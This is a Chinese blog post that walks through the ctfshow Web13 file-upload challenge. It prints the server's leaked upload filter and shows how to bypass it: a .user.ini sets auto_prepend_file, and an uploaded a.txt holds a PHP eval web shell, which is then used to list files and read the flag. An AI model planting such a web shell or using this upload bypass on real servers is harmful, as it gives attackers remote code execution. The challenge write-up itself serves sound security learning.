[ctfshow]Web13

Web13

题目描述

题目解析


打开题目是一个上传文件的表单,二话不说先传他个图片试试,直接提示error file zise,使用bp抓包把数据减小,再发,试了很多次,发现文件有长度限制。将后缀改为php尝试上传一句话,提示error suffix,看来有后缀检测。尝试用截断绕过,提示error file name。到这不会了。。
在做题的时候,还是要多试试访问备份、robots.txt等,说不定就能找到一些提示。
在这道题中,访问upload.php.bak可以下载上传文件的备份,代码如下

<?php   
    header("content-type:text/html;charset=utf-8");  
    $filename = $_FILES['file']['name'];  
    $temp_name = $_FILES['file']['tmp_name'];  
    $size = $_FILES['file']['size'];  
    $error = $_FILES['file']['error'];  
    $arr = pathinfo($filename);  
    $ext_suffix = $arr['extension'];  
    if ($size > 24){  
        die("error file zise");  
    }  
    if (strlen($filename)>9){  
        die("error file name");  
    }  
    if(strlen($ext_suffix)>3){  
        die("error suffix");  
    }  
    if(preg_match("/php/i",$ext_suffix)){  
        die("error suffix");  
    }  
    if(preg_match("/php/i"),$filename)){  
        die("error file name");  
    }  
    if (move_uploaded_file($temp_name, './'.$filename)){  
        echo "文件上传成功!";  
    }else{  
        echo "文件上传失败!";  
    }  
  
 ?>

通过阅读代码,可以发现文件内容的长度要小于24,文件后缀名要小于3并且不包含php。
在php中,目录中可以设置.user.ini文件,来对每个目录进行单独的配置,如果使用的是apache,配置.htaccess文件也会有同样的效果。
php的配置中,auto_prepend_fileauto_append_file表示为页面增加页头和页脚,免去了每个页面都使用request()。
了解了这些,我们就可以通过写.user.ini文件,将整个目录配置上一个页头,在页头中加入想要的内容,访问时就可以执行其中的命令。
.user.ini中写入 auto_prepend_file=a.txt,然后再写入一个a.txt,里面加入<?php eval($_GET['a']);?>用来执行命令。如果写POST一句话使用蚁剑可以连接上,但是提示没有权限。
上传之后就可以利用命令执行了,访问?a=print_r(scandir('.'));可以发现一个文件名很长的文件,使用?a=highlight_file('xxx')即可输出flag。

参考文章
https://www.cnblogs.com/awsole/p/14388357.html
https://www.cnblogs.com/tianxin2001x/archive/2010/01/20/1652163.html

posted @ 2022-06-28 20:39  alm0st  阅读(305)  评论(0编辑  收藏  举报